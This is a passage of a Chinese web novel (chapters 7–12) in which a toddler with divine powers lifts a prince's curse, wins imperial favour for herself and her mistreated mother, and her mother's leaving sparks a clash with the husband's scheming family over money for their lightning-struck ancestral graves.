“你的处境,本宫能理解。”皇后声音虽轻,分量却重,“若是需要,本宫定然会护你们母女。”
杨婉云眼眶一热,正要说话,殿外传来通报声:
“大殿下到——”
第7章 哇哦,倒霉鬼
皇后的眉头立刻又皱了起来。
帘子掀开,一个约莫十岁的男孩走了进来。
他身着宝蓝皇子常服,身形已有几分少年人的清隽挺拔。面容如玉雕般精致,剑眉斜飞入鬓,一双凤眼清亮如寒星,通身透着天家贵胄特有的矜贵气度。
但眉宇间却笼着一层挥之不去的郁气——正是四皇子萧景瑜。
说来也怪,这位四皇子自出生起就厄运缠身。
一岁开言,第一声“父皇”出口时惊雷炸响;三岁落水,陷些丧命;五岁坠马,腿骨断裂;六岁观灯,人群中最结实的灯杆莫名倒向他;七岁吃糕点,又差点噎死……
除此以外,平日里,他出门十有九回雨,剩下一回是阴天,比钦天监还准;蚊子、蜜蜂都爱他,仿佛他是移动蜜罐子;宫道平得像镜子,他走起来却像踩梅花桩,甚至经常踩粪……
宫人们私下都说,四皇子是犯了太岁,连护国寺的方丈都束手无策。
“儿臣给母后请安。”萧景瑜声音也是闷闷的。
“起来吧。”皇后叹了口气,“你怎么来了?”
“听说五弟又梦魇了,儿臣来看看。”萧景瑜说着,目光落在榻边的许呦呦身上,“这位是……”
“这是许侍郎家的嫡女,呦呦。”皇后道。
之前瑜儿因为这特异体质,早早便开府出宫,总怕影响他人,更是与众人鲜少往来。
“咚!!”
萧景瑜还未走近,身旁的圆凳突然倒了,然后竟朝他直直滚来。
一时间,整个凤仪宫一片混乱。
仆从们赶紧有条不紊地处理好现场,十分熟练。
众人:嗯,就见怪不怪吧!!
许呦呦正趴在萧景珩身边,听见动静,转过头来。
却与刚刚站稳的萧景瑜,四目相对。
哇哦,倒霉鬼!!
许呦呦眼神灼灼地盯着萧景瑜,随即手脚并用,一扭一扭,摇摇摆摆地爬到了萧景瑜面前,拉住了萧景瑜的裤腿,仰着小脸看他。
萧景瑜大气都不敢喘,赶紧俯身将她抱了起来。
小奶包嘴角一咧,嘿嘿一笑,“得得,美!”
而听到这话的皇后,再次红了眼眶。
她的两个儿子,本应是翩翩公子,人中龙凤,却一个厄运缠身,一个身中蛊毒。
她虽贵为皇后,可是连自己的孩子都护不住,她的内心伤痛至极。
而此时许呦呦却小手一伸,扒拉着萧景瑜的头发,小脸鼓鼓囊囊。
“泥,要屎……呀!”
“得得……美!泥……滚!”
“谁,给泥……胆?”
“屁玩意……气死窝。”
许呦呦越骂越激动,甚至伸出小手指,在萧景瑜头上来回点着。
杨婉云却看得心惊肉跳,这大逆不道的行为,就算是救了五皇子,这恩也不够抵得。
她扑通一声,跪在地上,“皇后娘娘,四皇子殿下饶命,呦呦她还小,失了分寸……”
话还未说完,皇后一把将她扶起,轻柔地握着她的手,眼神示意她不要打扰呦呦。
皇后心里,却莫名充满了期待。
珩儿蛊毒已解,那瑜儿说不定也能……
而骂在兴头上的小奶娃,突然小手冲天一指,“狗东西,不做……银!!”
另一边的地府,阎王突然浑身一颤,莫名打了一个喷嚏,似有一种似曾相识的发毛感觉……
“尼玛……等着!”
“窝回去……弄你……”
众人:总感觉她在骂人,还骂得挺脏,可是她明明是个宝宝呀!
“姑奶奶……管!!”
小家伙一把死死抓住萧景瑜的头发,俨然就是一副要打架的架势。
“哈哈,哪里来的姑奶奶啊,快让朕看看……”
就在许呦呦骂得最激烈的时候,一道明黄的身影,一脸笑意的走了进来。
就看到一个小奶包,正气鼓鼓地死死薅着他大儿子的头发,骂骂咧咧。
哎,这次居然倒霉到被奶娃娃欺负了?
众人纷纷起身参拜,皇帝大手一挥,示意众人不必行礼。
他刚要上前,将呦呦从萧景瑜怀中接过。
然而,许呦呦却忽然拍了一下萧景瑜的脑门,中气十足地萌吼了一声:“霉霉,去!!”
随即,整个凤仪宫,四处来风,这风在整个宫殿里四处乱撞,好似逃命的亡徒一般。
阴风阵阵间,似乎还能隐约听到阵阵哀嚎……
可是转瞬之间,那风又突然消失,一切又归于平静。
此时此刻,萧景瑜只觉得身上一轻——那种如影随形的阴郁感,竟真的消散了几分。
皇帝愣住了。
皇后愣住了。
萧景瑜也愣住了。
杨婉云更是愣住了。
只有萧景珩,嘴咧得老大……
真不愧是呦呦妹妹!!
凤仪宫里,寂静无声。
这,这……什么情况?
萧景瑜内心闪过震惊,不敢置信地看着怀中的许呦呦,说话都开始打结,“你……你……”
“嗯,窝……窝,赶跑了!”小团子挥着小手,拍了拍他的肩膀。
皇后又惊又喜,激动地上前拉着萧景瑜就往门口走,“瑜儿,你……绕着凤仪宫,跑一圈,给母后看看。”
萧景瑜:……
“皇后,你是说……”皇帝更是难以置信。
萧景瑜是他的嫡子,从出生开始,他对这个孩子就充满了期待,而萧景瑜也不负众望,各方面能力都是所有皇子里拔尖的,但是,却一直霉运缠身。
为此,他想尽了各种办法,不管是作法还是作妖,全都试遍了,却丝毫没有改变萧景瑜的情况。
而眼下,看着皇后的神情,加上刚才的光景,他心里大概有了猜测……
“呦呦,你真是朕的宝贝啊!”皇帝大步上前,将许呦呦一把抱走。
而小奶包在仔细打量皇帝后,小脸瞬间气鼓鼓的。
皇帝看着好笑,虽为九五之尊,此刻却眉眼温和,全然没有朝堂上的威严。
他颠了颠怀里软乎乎的小团子,温声问:“呦,是谁惹小姑奶奶生气了?告诉朕,朕替你出气。”
许呦呦小胖手指着宫门方向,奶音里满是委屈:“狗屁……爹爹!坏!”
皇帝点头:“嗯,许振山确实荒唐,朕知道。”
小奶包又把手指转回来,戳戳皇帝的胸口,小嘴一瘪:“还……还有泥!”
第8章 泥,也坏!
皇帝一愣,不由失笑:“朕?朕何时惹你了?”
皇后和杨婉云都屏住呼吸。
杨婉云腿一软,又要跪,被皇后悄悄拉住。
许呦呦在皇帝怀里坐直,小手比划着,嘴里叽里咕噜,甚是气愤:
“泥!杀银……多!黑气气……缠着!”
她指向站在一旁仍有些恍惚的萧景瑜,“得得……美!替泥……背锅锅!”
“坏东东……怕泥……龙气气……就、就欺负得得!”
“霉霉……坏!咬得得……”
“都不……好银!”她最后总结,小脸严肃,“狗屁爹……坏!泥……也坏!”
“窝要……换爹!”
最后两个字,她说得字正腔圆。
满殿死寂。
皇后脸色骤变,厉声道:“所有人,退下!闭紧你们的嘴!”
宫人们垂首疾步退出,殿门被轻轻合上。
偌大的凤仪宫正殿,只剩下帝后、两位皇子、杨婉云母女。
杨婉云这次真的跪下了,额头触地:“陛下恕罪!皇后娘娘恕罪!呦呦她、她才一岁半,根本不懂自己在说什么,童言无忌,当不得真啊……”
皇帝却缓缓抬手,制止了她的话。
这位执掌江山二十载的帝王,此刻脸上血色褪尽。
他抱着呦呦的手微微收紧,眼神却飘向殿外,仿佛穿透时光,看见了那些血色弥漫的岁月。
夺嫡之战,兄弟阋墙,朝堂清洗,边境平叛……哪一件事不是累累白骨铺就来的。
“因果……报应吗?”皇帝喃喃自语,声音里带着某种沉重的了然,“原来如此。”
他低头看向怀里的呦呦,那眼神清澈地能映出他眼底深处的疲惫。
“朕……信。”皇帝坚定说道。
皇后掩面,肩膀轻颤。
她想起儿子这些年受的苦——无故落水、坠马断腿、灯杆砸落、差点噎死……那些看似巧合的“意外”,原来竟是自己丈夫的杀孽所致!
“瑜儿……”皇后哽咽着走向萧景瑜,颤抖的手抚上儿子的脸,“是父皇母后对不起你……”
萧景瑜握住母亲的手,少年清俊的脸上第一次露出释然的笑:“母后,不怪您,也不怪父皇。现在……不是好了吗?”
他看向皇帝怀里的许呦呦,眼神柔软:“是呦呦救了我。”
皇帝深吸一口气,看着还在生闷气的小团子,语气复杂:“杨夫人,起来吧。朕不怪呦呦,朕……要谢她。”
杨婉云颤巍巍起身,仍不敢抬头。
皇帝却话锋一转,声音里带上追忆:“其实,朕早知呦呦不凡。”
“永昌十四年夏,江南百年大旱,赤地千里,饿殍遍野。朕与皇后微服南巡,途经苏州,亲眼见到灾民易子而食的惨状。”
“那时恰逢杨家嫡女临盆,而我们暂驻苏州行馆,听闻城中富商杨家正在施粥赈灾,便微服前往查看。刚到杨府那条街……”
皇帝接口,眼中闪过奇异的光:“正午时分,烈日当空,杨府上空突然金光大盛!那光不刺眼,反而温润如暖玉,笼罩了整个府邸。紧接着——”
“天降甘霖。”皇帝声音轻柔,仿佛回到那个奇迹般的午后,“干旱了一年的苏州,下起了暴雨,连绵数日,彻底解了旱情。”
皇帝看向杨婉云:“朕派人查问,方知金光出现时,正是你诞下呦呦的时辰。”
“朕当时便心有所感——此女降世伴天地异象,必非凡胎。回京后查知你是礼部侍郎许振山之妻,朕……确实因此对许振山多有提拔。”
“只是朕没想到,他竟是个宠妾灭妻、昏聩至此的蠢材!更没想到,呦呦与朕的珩儿有如此缘分,今日还救了瑜儿……”
他低头,用额心轻轻碰了碰呦呦的小额头,声音郑重:“呦呦,你是朕的恩人,是萧氏的福星。”
皇帝略一思索,“朕要封你为郡主!”
“郡主?好……次吗?”小家伙歪着脑袋一脸天真。
皇帝乐不可支:“呵呵呵呵,呦呦,当上郡主,有食邑,享俸禄,那可不止好多好吃的。”
许呦呦一听,却小脸一板:“不、不要……郡主!”
“哦?为何?”皇帝挑眉。
“狗屁爹……占便宜!”小家伙说得斩钉截铁,“窝的……不给!”
这时,萧景珩忽然轻声开口:“父皇、母后,儿臣还有一事要禀,前几日呦呦在许府被扔进枯井,高烧昏迷,险些……”
话未说完,皇后猛地转头,眼中寒光凛冽:“你说什么?”
“母后。”萧景瑜垂眸,“若非杨夫人及时寻到,呦呦她……”
“好!好一个礼部侍郎!”皇后气得浑身发抖,转身就朝皇帝发难,“陛下!这就是你看重的人才!宠妾灭妻、残害嫡女?你竟然还给他升官!”
“你……你这是亲手把她们母女往火坑里推!”
“梓童,朕……”皇帝被骂得连连后退,想解释又无从辩起,伸手去拉皇后的衣袖,语气软得近乎央求,“是朕的错,朕昏庸,朕眼拙,你别气坏身子……”
杨婉云彻底看呆了。
而萧景珩和萧景瑜两兄弟,一个靠在榻上捂嘴偷笑,一个低头忍笑肩膀微颤——显然对此场景早已习以为常。
皇帝一边轻拍皇后的背给她顺气,一边沉声下令:“传朕口谕:礼部侍郎许振山,治家无方,德行不堪,罚俸一年,闭门思过!”
“梓童,这样可满意?”
一旁的许呦呦,笑得一脸贼兮兮:“凉凉……凶凶!伯伯……怕怕!”
皇帝老脸一红,轻咳一声:“伯伯不是怕,是……是敬重。”
随即,又故作严肃:“朕想起还有要事,先回御书房。梓童,一切……由你做主。”
“呦呦,以后要常来和伯伯一起玩!”
说罢,他状若无事地整了整龙袍,转身大步流星地走了,只是那背影怎么看,都透着几分“落荒而逃”的意味。
皇帝一路疾走回到御书房,脸色阴沉得能滴出水来。
“蠢货!彻头彻尾的蠢货!”
第9章 定是她们在宫里闯了祸!
他一把将御案上的奏折扫落在地,胸膛剧烈起伏。
高公公吓得跪在地上,大气不敢出。
“朕昨日才哄得皇后高兴,今日又因这许振山被骂得狗血淋头!”
皇帝气得又将手头茶盏狠狠一摔,“宠妾灭妻?残害嫡女?他许振山读的圣贤书都读到狗肚子里去了!”
最让他窝火的是,皇后那句“你亲手把她们母女往火坑里推”像根刺,扎得他坐立难安。
是啊,若不是他看在呦呦的份上,对许振山多有提拔,那厮岂敢如此嚣张?
杨氏母女又怎会受这么多委屈?
“高德全!”
“奴才在!”
“去,把礼部这半年的卷宗都给朕拿来!”皇帝眼中寒光一闪,“朕倒要看看,这许振山除了治家无方,为官又如何!”
半个时辰后。
“好啊,真是好得很!”皇帝捏着一份文书,指尖发白,“祭祀礼器数目都能记错,这等疏忽若是赶上大祭,是要掉脑袋的!”
“即刻宣旨:礼部郎中许振山——革去实职,贬为礼部员外郎,罚俸两年,闭门思过三月!”
他顿了顿,又补充道:“再传朕口谕给皇后,说朕已严惩,请她息怒。”
高公公领旨退下时,心里为许振山点了根蜡——这位许大人,怕是到头了。
与此同时,凤仪宫内。
皇后亲自将杨婉云母女送到宫门口:“这块祥云佩你收好,若是许家再有人为难你,直接让人持佩来禀。”
她又弯腰摸了摸呦呦的小脸:“呦呦,常来宫里玩。珩儿和瑜儿都盼着你呢。”
萧景珩扒着宫门,眼巴巴地挥手:“呦呦妹妹,我明日就求母后接你进宫!”
萧景瑜站在弟弟身后,虽未说话,但目光一直追随着那个正打着哈欠的小团子。
千恩万谢后,杨婉云带着许呦呦离开皇宫。
回府的马车上,杨婉云紧紧抱着女儿,心中五味杂陈。
“夫人,”刘嬷嬷轻声劝道,“今日之事,想必老爷那边……”
“嬷嬷,”杨婉云打断她,声音平静却坚定,“从今往后,没有老爷,只有许振山。”
她低头看着怀中已经睡着的女儿,额头上的伤依旧刺眼得很。
“他既从未将我们母女放在心上,我又何必再顾念夫妻情分?”杨婉云眼中,不带半丝情愫。
马车在许府门前停下时,天色已近黄昏。
杨婉云抱着呦呦刚下马车,就感觉到府门口诡异的气氛。
门房小厮的眼神躲躲闪闪,管事探头探脑。
远处还有丫鬟匆匆跑向内院报信。
“夫人,他们……”刘嬷嬷低声道。
杨婉云面不改色:“无碍,兵来将挡。”
刚进二门,就听见正厅方向传来嘈杂的人声。
一个尖厉的女声尤其刺耳,“定是她们在宫里闯了祸!否则大哥怎会无缘无故被贬官?”
是许清烟!
许振山妹妹,自幼被老夫人和兄长宠得目中无人,刁蛮跋扈,平日里就看不上杨婉云的“商贾出身”,明里暗里欺负她。
这是从姨母家回来了。
杨婉云唇角勾起一丝冷笑,抱着呦呦径直朝正厅走去。
厅内,许府上下齐聚一堂。
主位上,老夫人脸色铁青,手中佛珠捻得飞快。
许振山垂头坐在下首,一身常服,整个人像霜打的茄子。
李莲茵正跪在老夫人脚边哭诉:“母亲,您可要为我们做主啊!老爷勤勉为官多年,今日突然被贬,定是……”
“定是那个你在宫中言行无状,触怒天颜,这才连累了大哥!”许清烟看着缓缓走进来的杨婉云,怒目圆瞪。
老夫人也厉声道:“孽障,跪下!!”
许振山猛地抬头,目光死死盯住杨婉云:“杨氏!你今日在宫中到底做了什么?!”
厅内所有目光都聚焦在杨婉云身上。
有幸灾乐祸的、有担忧的、有审视的……
杨婉云却站得笔直,将怀中刚被吵醒、正揉眼睛的呦呦护得更紧了些。
“我做了什么?”她声音不高,却清晰传到每个人耳中,“我不过是带着呦呦去给五皇子请安罢了。倒是徐振山……”
她看向许振山,眼神讥诮:“你被贬官的原因,圣旨上说得不够清楚吗?‘玩忽职守,治家无方’——这八个字,难道是我逼着陛下写的?”
“你,你……”许振山豁然起身,怒极却又无力辩驳。
厅内一片死寂。
“够了!”
老夫人重重一拍桌子,看向杨婉云的眼神像淬了毒:“杨氏,我不管今日宫中发生什么,老爷被贬官是事实,许家名声受损也是事实。”
“这一切既然皆因你而起,你就该去宫中请罪,求陛下收回成命!”
杨婉云几乎要气笑了。
请罪?
求陛下收回成命?
这老太太怕是疯了,还是以为全天下都该围着她许家转?
“母亲说笑了。”杨婉云不急不缓道,“雷霆雨露,皆是天恩。陛下金口玉言,岂是臣妇能左右的?更何况——”
她抬眸,目光扫过许振山和李莲茵:“老爷被贬,难道不是咎由自取?”
“反了!真是反了!”老夫人气得浑身发抖,“振山,你看看!这就是你娶的好媳妇啊!”
许振山脸色铁青,一步步走向杨婉云:“杨婉云,我最后问你一次——你去不去请罪?”
杨婉云迎上他的目光,一字一句:“不、去!”
“好!好!好!”许振山连说三个好字,眼中最后一点夫妻情分也烧尽了。
“既然如此,从今日起,你便去佛堂静思己过!至于呦呦——”
他看向女儿,眼中没有半分温情:“交由莲茵抚养!”
“你敢!”杨婉云瞳孔微缩,将女儿死死护在怀中。
李莲茵眼中闪过狂喜,忙道:“老爷放心,妾身定会将呦呦视如己出,好生教导。”
“哎呦,不……要……年……”一道稚嫩的小奶音突然响起。
杨婉云一怔,忽然笑了,很淡很轻,却让许振山心头一紧。
“许振山,”她不再称呼老爷,直呼其名,“你确定要如此?”
“是你逼我的!”许振山咬牙。
“好。”杨婉云点头,“那我今日便把话说清楚,从今往后,我杨婉云与你许振山,恩断义绝。”
“呦呦是我的女儿,谁也别想碰她一根手指头。”
她抱着女儿转身就要走。
“拦住她!”老夫人尖声道。
第10章 圣旨到
几个婆子立刻堵在门口。
杨婉云脚步一顿,回头看向老夫人:“母亲这是要动强?”
“对你这种不敬夫婿、不孝婆母的悍妇,动强又如何?!”老夫人眼中狠色毕露,“刘嬷嬷,把她给我押去佛堂!把孩子抱过来!”
“我看谁敢!”
杨婉云一声厉喝,竟震得几个婆子不敢上前。
就在这时,门外突然传来一阵急促的脚步声:
“圣旨到,杨夫人、许小姐接旨——”
所有人脸色大变。
许振山第一个反应过来,连滚爬爬地往外冲:“快!快开正门!摆香案!”
许府上下乱作一团。
杨婉云却抱着呦呦,从容地整了整衣衫,缓步走向前院。
前院里,御前总管高公公,亲自前来宣旨。
身后跟着两列宫人,手中捧着大大小小的锦盒、漆盘,在夕阳下泛着金灿灿的光。
许家众人黑压压跪了一地。
许振山额头抵地,心中七上八下。
难道是陛下改了主意?
要恢复他的官职?
他悄悄抬眼,却看到高公公满脸堆笑地看着杨婉云母女。
“杨夫人,请您上前接旨。”
许振山心头一沉。
“奉天承运,皇帝诏曰:
杨氏温婉,教女有方。其女呦呦,灵慧可人,深得朕与皇后欢心。
特赏杨氏云锦十匹、东珠一斛、金玉首饰若干、白银千两;赏呦呦长命金锁、羊脂玉佩及御制珍玩。
皇后口谕:杨氏母女可随时入宫,不得阻扰。
钦此。”
圣旨念完,庭院里静得能听见落叶的声音。
许振山跪在地上,浑身僵硬。
不是恢复官职的旨意。
是赏赐!
专门赏给杨婉云母女的赏赐!
看着眼前流水般的赏赐。
李莲茵指甲掐进掌心,几乎要渗出血来。
老夫人张着嘴,半晌说不出话。
杨婉云从容不迫,上前双手接过圣旨:“臣妇谢陛下、娘娘恩典。”
高公公笑眯眯地扶起她:“杨夫人快请起。皇后娘娘特意嘱咐,这些赏赐是给您和小姐的,让您不必顾忌。”
这话里的深意,让许家所有人脸色又白了几分。
宫人们开始将赏赐一一搬进来。
云锦流光溢彩,东珠圆润夺目,赤金头面在夕阳下晃得人睁不开眼。
那白花花的千两白银,更是实实在在的震慑。
最后两个小太监捧上一对锦盒,打开——
一只盒里是沉甸甸的纯金长命锁,锁上镶嵌着红宝石,刻着“福慧安康”四字。
另一只盒里是一枚羊脂白玉佩,玉质温润无瑕,雕着如意祥云纹。
“这玉佩是陛下亲自选的,”太监笑道,“说给呦呦小姐戴着玩。”
许振山眼前一黑,几乎晕厥。
这可是陛下日日不离身的贴身玉佩?
给一个一岁半的孩子戴着玩?
这哪里是赏赐?
这分明是在告诉所有人——杨婉云母女,是陛下和皇后罩着的人!
“有劳公公。”杨婉云让刘嬷嬷塞过去一个沉甸甸的荷包。
黄公公更是恭敬:“夫人客气,杂家还要回宫复命,就不多叨扰了。”
宫人们浩浩荡荡地离开。
许府前院里,赏赐堆成小山,金光灿灿,映着许家众人惨白的脸。
杨婉云抱着呦呦,转身看向还跪在地上的许振山。
“徐振山。”她声音平静,“现在,还要送我去佛堂吗?还要把呦呦交给李氏抚养吗?”
许振山嘴唇哆嗦着,一个字也说不出来。
李莲茵瘫坐在地,眼中全是不甘。
老夫人扶着丫鬟的手,颤巍巍站起来,看着那堆赏赐,又看看杨婉云手中的圣旨,最后看向自己那个不成器的儿子,忽然觉得一阵天旋地转。
“造孽……真是造孽啊……”她身影一晃,差点站立不住。
“嘿嘿,报应……”
许呦呦晃晃悠悠地拉着娘亲的手,笑得见牙不见眼。
哇哦,这么多钱钱!
这不比当个穷不拉几的神仙好啊!
杨婉云看着呦呦小财迷的样子,温婉一笑。
随即,对身后凝香院的下人们朗声道:“来人,将这些御赐之物,全部装箱,抬出去。”
刘嬷嬷一愣:“夫人,抬……抬去哪里?”
“杨府。”杨婉云声音清晰,“一针一线,都不许留下。”
“杨府”二字出口,所有人都变了脸色。
许振山猛地抬头:“杨婉云!你这是何意?!这些赏赐既是赐给许家的……”
“赐给许家?”杨婉云打断他,举起手里的圣旨,眼神讥诮,“徐振山,你耳聋吗?圣旨上可曾有你的名字?”
许振山喉咙一哽。
李清烟尖声道:“可你是许家妇!你的一切都是许家的!”
“是吗?”杨婉云慢条斯理地抚平袖口褶皱,“那我可要进宫去问问……”
许振山脸色铁青:“杨婉云!你非要闹到这般地步?”
“是我在闹?”杨婉云笑了,“徐振山,刚才是谁要将我关进佛堂?”
“又是谁要对我动强?”
她每问一句,许振山的脸色就白一分。
杨婉云继续淡淡道,“既然许家容不下我们母女,我们走便是。”
说罢,她不再看许家人一眼,对刘嬷嬷道:“嬷嬷,让人去套车,把这些东西全部搬上。”
“是!”刘嬷嬷眼中闪过一丝激动。
她等这一天,等了太久了!
她是看着小姐长大的,嫁入许家这几年,小姐受尽委屈,她的心早就在为自家姑娘滴血了。
这下,太好了,终于走了!
凝香院的下人们立刻行动起来,手脚麻利地开始装箱搬运。
“住手!都给我住手!”许清烟冲上前要阻拦,却被两个嬷嬷拦住了去路。
“二小姐。”其中一个嬷嬷不卑不亢,“这些是御赐之物,若是磕了碰了,可是大不敬的罪名。”
许清烟气的跺脚:“大哥!你就看着她这样嚣张?”
许振山嘴唇哆嗦着,却一个字也说不出来。
他能说什么?
拦?用什么拦?
圣旨上明明白白写着赏赐给杨婉云母女。
皇后口谕更是说了“不得阻拦”。
更何况,高公公临走前那句“不必顾忌”,分明是皇后在给杨婉云撑腰!
他现在若是强拦,明日怕是连这个员外郎都当不成了!
老夫人看着一箱箱金银被抬出去,只觉得心都在滴血。
那些云锦,若是做成衣裳,能在宴会上出尽风头!
那些东珠,若是镶在头面上,能给娇娇添多少光彩!
还有那千两白银……许府如今正缺钱啊!
“杨氏!”老夫人终于忍不住了,“你当真要如此绝情?”
杨婉云手里把玩着一套上好的翡翠镯子,好笑道:“母亲说笑了,绝情的从来不是我。”
“你……”老夫人气得浑身发抖,“你就不怕世人说你刻薄寡恩?!”
“世人?”杨婉云眼神平静无波,“世人若知道许家如何对待嫡妻嫡女,怕是只会说我做得还不够。”
这话像一记耳光,狠狠扇在老夫人脸上。
“你!你……”
她气得嘴唇发抖,却再也说不出话来。
许呦呦被嬷嬷抱着,看着眼前这一幕,小嘴咧得老开。
“凉亲……棒!”她得意地拍拍,“搬搬……跑跑!”
跑?
许振山听到这话,心头一颤。
难道她们真的要搬走?
他下意识上前一步:“婉云,我们……”
第11章 祖坟,被雷劈了
“许振山,”杨婉云打断他,“我们之间,没什么好说的了。”
“我们走!”
她抱起女儿,头也不回地朝府外走去,决绝且厌恶。
身后,是堆成小山的空箱子和许家人惨白的脸。
马车早已在府门外等候。
刘嬷嬷扶着杨婉云上了车。
杨婉云掏出皇后娘娘亲赏的祥云佩,“嬷嬷,将这个放在我嫁妆库房最显眼的位置。”
刘嬷嬷一怔,“夫人,这……”
这可是御赐之物啊,要谨慎爱护才是。
但是看到杨婉云嘴角微微勾,她便知小姐心中定有成算。
这一边的许府,众人气结于心。
“大哥!你就这么让她走了?”许清烟气急败坏地跺脚,“那些东西可值不少钱呢!”
李莲茵拿着锦帕,梨花带雨:“老爷,姐姐她……她这是要与我们彻底决裂啊!”
许振山烦躁地挥了挥手:“都别说了!”
他现在脑子里一团乱。
官被贬了,妻女走了,御赐之物也搬空了……
可明明,这一切应该是他的呀!
就在这时。
一个穿着粗布衣裳的年轻汉子连滚带爬地冲过来,“扑通”一声跪在许府门前。
“三老爷!不好了!出大事了!!”
许振山定睛一看,是许家老宅的管事许贵。
“许贵?你怎么来了?”许振山心头一紧,“老宅出什么事了?”
许贵喘着粗气,脸色惨白如纸:“老、老爷,祖坟……祖坟被雷劈了!!”
“什么?!”许振山闻言,恍若五雷轰顶。
老夫人也踉跄着冲出来:“你说什么!祖坟怎么了?”
“今日午后,天降惊雷,不偏不倚,正好劈在咱们许家祖坟上!”许贵声音都在发抖,“五座主坟全被劈开,墓碑碎裂,棺木散乱,祖宗们的……都,都露出来了!”
“更邪门的是,雷就劈了咱们家那片,旁边的坟地都完好无损!”
“路过的村民,说那雷……那雷像是长了眼睛似的,专挑咱家祖坟劈……”
许贵越说,声音越颤。
老夫人身子一晃,被丫鬟死死扶住:“造孽……真是造孽啊……”
“许清烟尖声道:“定是杨婉云那个扫把星!她一走,咱们家就出这种事!”
“闭嘴!”许振山厉声喝止,但心中也忍不住泛起嘀咕。
难道……真是杨婉云母女带来的晦气?
“振山……振山啊,咱家祖坟被劈了呀!”许家老宅的族老们,气喘吁吁地跑到前院。
他们派了许贵先来回禀,好让许振山,先修葺的准备。
“振山啦,你可是咱们族中,最有出息的孩子,是撑起许家门楣的骄傲。”
另一族老捶胸顿足:“许家几代的脸,都埋在那坟里!如今露了天,你可不能不管!”
六叔公一把攥住他官袍,老泪砸在他手背上:“振山,孝道有亏,官途必绝。你……你莫要断了许家的根呐!”
“族老放心,修葺祖坟,小辈责无旁贷。”许振山一副大义凛然。
老夫人强撑着站稳,“许贵,祖坟毁成这样,必须重修。你是管事,估算一下,大概需要多少银子?”
许贵迟疑了一下,小声道:“老夫人,三老爷,这次损毁实在太严重了。五座主坟要重修,墓碑要重刻,棺木要重新下葬,还要做法事超度……少说也得,也得这个数。”
他伸出三根手指。
“三百两?”许振山皱眉。
许贵摇头:“是……三千两。”
“三千两!”所有人都倒吸一口凉气。
许振山如今被罚俸两年,本就捉襟见肘,哪里拿得出三千两?
李莲茵更是脸色煞白——她管家这些日子,早就知道公中账上已经空了。
六叔公咬牙:“不管多少,祖坟必须修!振山,你是许家如今最有出息的,这钱,你得想办法!”
许振山苦笑:“我刚被贬官罚俸,哪里拿得出三千两?”
“那怎么办?”六叔公急了,“难道让祖宗曝尸荒野?”
“三年前,你带着媳妇回乡,她可是风风光光,将咱家祖坟从里到外修了一遍,当时用了五千两。”
“现下,才三千两,就拿不出来了?”
许清烟眼珠一转:“大哥,杨婉云不是刚得了千两白银的赏赐吗?她百年之后,也得进咱家祖坟,让她拿钱修葺,最合适不过。”
老夫人却是眼睛一亮。
对啊!杨婉云刚得了赏赐!
那些东西,本就该是许家的!
“快!”她立刻吩咐身边的王嬷嬷,“你赶紧带人去杨府,就说……就说许家有急事,请夫人回来商议!”
许振山看着老夫人:“母亲,你觉得杨氏会愿意出钱?”
老夫人眼中闪过一丝算计:“她毕竟是许家媳,重修祖坟是大事,她若不出钱,就是不孝。传出去,皇后娘娘那里她也交代不过去。”
李莲茵心中暗恨,但面上却装出担忧:“母亲,姐姐刚才那般决绝,怕是……不会轻易答应。”
“她不答应也得答应。”老夫人冷笑,“这可是关乎许家祖宗的大事!”
半个时辰后,王嬷嬷一瘸一拐地回来了。
“怎么样?”许振山急切地问。
王嬷嬷哭丧着脸:“老爷,夫人她……她根本不见我。”
“杨府的下人还将我扔了出来。”
“什么?”老夫人大怒,“她竟敢如此待你?”
王嬷嬷是她的心腹,这杨氏,不就是在公然打她的脸吗?
“夫人说了,她与许家已无瓜葛,许家的事,与她无关。”王嬷嬷咬牙回禀。
“好!好一个与她无关!”老夫人气地将手里的拐杖敲得“咚咚”直响。
“走!老婆子我亲自去!”
“母亲,我跟你一起去!”许清烟立刻道,“我倒要看看,她有多大的架子!”
许振山也站起来:“我也去!我倒要问问她,还知不知道自己是许家妇!”
他可以容忍她带着赏赐回杨府暂住。
但绝不允许,她这么不识好歹地践踏许府尊严。
第12章 我的命怎么这么苦
一行人,浩浩荡荡朝杨府而去。
杨府离许府并不远,是杨婉云出嫁前,杨家特意在京城置办的产业。
三进三出的院子,门楣虽不张扬,却处处透着老牌商贾的底气。
青砖黛瓦是江南请的匠人,檐角脊兽是官窑烧的定制。
正厅黄花梨木家具素简清贵,多宝阁上一尊汝窑天青釉瓶,是杨父当年十万两求来的珍品。
就连廊下那几株百年蜡梅,年年开花时,连过路的诰命夫人都要停下轿子讨两枝。
许振山一行人到的时候,杨府大门紧闭。
小厮上前用力拍门:“开门!快开门!”
门内传来一道锵锵有力的声音:“许大人,我家夫人已经歇下了,有什么事明日再说吧。”
“明日?等不了明日!”许振山怒道,“你去告诉杨婉云,许家祖坟被雷劈了,需要重修,让她赶紧出来商议!”
片刻后,大门“吱呀”一声开了条缝。
刘嬷嬷站在门内,神色冷凝:“许大人,我家夫人说了,祖坟被劈是许家的报应,与她无关。”
“怎么与她无关?”许清烟冲上前,“她是我大哥明媒正娶的妻子,是许家媳!重修祖坟,她理应出力!”
刘嬷嬷看了她一眼,冷淡道:“三小姐怕是忘了,刚才老夫人和许大人,可是亲口说要送夫人去佛堂,要将小姐交给李姨娘抚养。”
“既然许家已经不认夫人这个媳妇,夫人又何必再以许家媳自居?”
随即,“砰”一声,又将大门狠狠关上。
许轻烟气的直跺脚。
这时,老夫人被李莲茵扶着,颤颤巍巍地走上前。
她瞥了眼紧闭的杨府大门,又扫一眼周围越来越多围过来的人。
突然。
她一把甩开李莲茵的手,一个箭步,冲到那紧闭的门缝。
身子往下一溜,“扑通”坐在地上,顺势还将头发扯乱。
“哎哟喂——我的命怎么这么苦啊!”
这一嗓子,又尖又亮,惊起四周,都削尖脑袋往前凑。
“儿媳不孝,婆母上门,连门都不让进呐!”老夫人拍着大腿,老泪纵横。
“她嫁进许府三年,刚入门就接管府中中馈,穿金戴银不说,事事还由她做主,如今她攀上高枝,转头就不认婆家了啊!”
许清烟立刻会意,蹲下身给老夫人顺气,红着眼眶朝人群嚷:“是啊,我大嫂方才在府里,把御赐之物一卷,扬长而去!”
“如今许家遭了难——祖坟被雷劈了,她连见都不见!这是要逼死我母亲啊!”
人群嗡地炸开。
“御赐之物都卷走?这媳妇也太狠了……”
“婆母都跪门口了,天理难容啊!”
“可不是,哪有这样当人儿媳的!”
许振山垂着头,站在一旁,不说话,只时不时叹一口气。
这副隐忍模样,更坐实了杨婉云的“不贤”。
老夫人见引起民愤,哭得更是伤心欲绝,心却在头暗喜。
